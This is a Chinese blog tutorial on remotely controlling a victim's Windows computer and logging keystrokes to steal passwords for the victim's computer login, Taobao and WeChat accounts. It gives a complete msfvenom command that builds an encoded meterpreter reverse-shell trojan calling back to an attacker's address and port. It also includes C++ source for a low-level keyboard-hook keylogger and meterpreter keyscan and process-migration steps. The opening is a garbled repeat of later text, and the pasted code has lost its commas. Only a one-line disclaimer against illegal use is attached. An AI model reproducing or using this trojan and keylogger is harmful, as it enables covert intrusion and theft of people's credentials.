利用木马软件控制电脑，键盘记录-木马远程控制

威哥 2023-02-23 07:54:09 237

利用木马软件控制电脑，键盘记录-木马远程控制获取到meterpreter之后直接开启键盘监听是无法获取到上图中的键盘的输入的，因为进程空间是不对的，所以，首先需要选择正确的进程。通过ps命令可以查看肉鸡的所有进程。在前面的介绍中，已经获得了meterpreter。如果能知道"肉鸡"端用户的输入，密码自然就轻易获得了。那怎样能获得用户的键盘输入那？使用低级键盘钩子来hook键盘消息。核心代码如下：// keyboardhook.cpp : Defines the entry point for the console application.//#include "stdafx.h"#include<iostream>#include<windows.h>using namespace std;HHOOK g_Hook;LRESULT CALLBACK LowLevelKey

声明：本篇内容禁止用作非法目的，谢绝一切形式的转载

当你在登陆电脑的时候，当你在登陆淘宝的时候，当你在登陆微信的时候，你的输入可能正在被记录，然后电脑的登陆密码、微信帐号密码、淘宝的帐号密码就这样在不知不觉中泄漏了。 @[toc]

木马生成

生成木马的命令如下，本文基于的是win7 32位系统，64位的可参考这里

sudo msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.42.49 lport=8888 -e x86/shikata_ga_nai -i 5 -f exe -o win32_burning.exe

开启监听

利用木马软件控制电脑，键盘记录-木马远程控制(1)

具体含义可参见这里

一个简单的键盘记录器

使用低级键盘钩子来hook键盘消息。核心代码如下：

// keyboardhook.cpp : Defines the entry point for the console application.//#include "stdafx.h"#include<iostream>#include<windows.h>using namespace std;HHOOK g_Hook;LRESULT CALLBACK LowLevelKeyboardProc(INT nCode WPARAM wParam LPARAM lParam){ KBDLLHOOKSTRUCT *pkbhs = (KBDLLHOOKSTRUCT *)lParam; BOOL bControlKeyDown = 0; switch (nCode) { case HC_ACTION: { // Check to see if the CTRL key is pressed bControlKeyDown = GetAsyncKeyState (VK_CONTROL) >> ((sizeof(SHORT) * 8) - 1); //Check to see if the Cap is pressed BOOL bCap = GetAsyncKeyState(VK_CAPITAL) >> ((sizeof(SHORT) * 8) - 1); //Disable CTRL ESC if (pkbhs->vkCode == VK_ESCAPE && bControlKeyDown) return 1; if(wParam == WM_KEYUP) printf("%c" pkbhs->vkCode); break; } } //Passes the hook information to the next hook procedure in the current hook chain. A hook procedure can call this function either before or after processing the hook information. return CallNextHookEx(g_Hook nCode wParam lParam); //回调 //return 1;}int _tmain(int argc _TCHAR* argv[]){ msg msg; //Installs an application-defined hook procedure into a hook chain. You would install a hook procedure to monitor the system for certain types of events. These events are associated either with a specific thread or with all threads in the same desktop as the calling thread. g_Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD_LL (HOOKPROC)LowLevelKeyboardProc GetModuleHandleW(0) 0); while(GetMessageW(&msg 0 0 0))DispatchMessageW(&msg); return 0;}

meterpreter获取键盘输入

三个关键命令

keyscanstart开启键盘监听后，再用keyscandump进行记录的导出，如果不想监听了才keyscanstop。而不是先keyscanstop再keyscan_dump。

获取淘宝帐号密码

淘宝网的登陆页面如下：

利用木马软件控制电脑，键盘记录-木马远程控制(2)

在前面的介绍中，已经获得了meterpreter。如果能知道"肉鸡"端用户的输入，密码自然就轻易获得了。那怎样能获得用户的键盘输入那？

绑定进程

获取到meterpreter之后直接开启键盘监听是无法获取到上图中的键盘的输入的，因为进程空间是不对的，所以，首先需要选择正确的进程。通过ps命令可以查看肉鸡的所有进程。

利用木马软件控制电脑，键盘记录-木马远程控制(3)

其中的explorer.exe是Windows程序管理器或者文件资源管理器，它用于管理Windows图形壳，包括桌面和文件管理，删除该程序会导致Windows图形界面无法使用。因此对于windows中图形界面相关的输入内容都可以通过migrate(迁移)到这个进程中实现键盘记录。迁移进程使用 migrate pid号。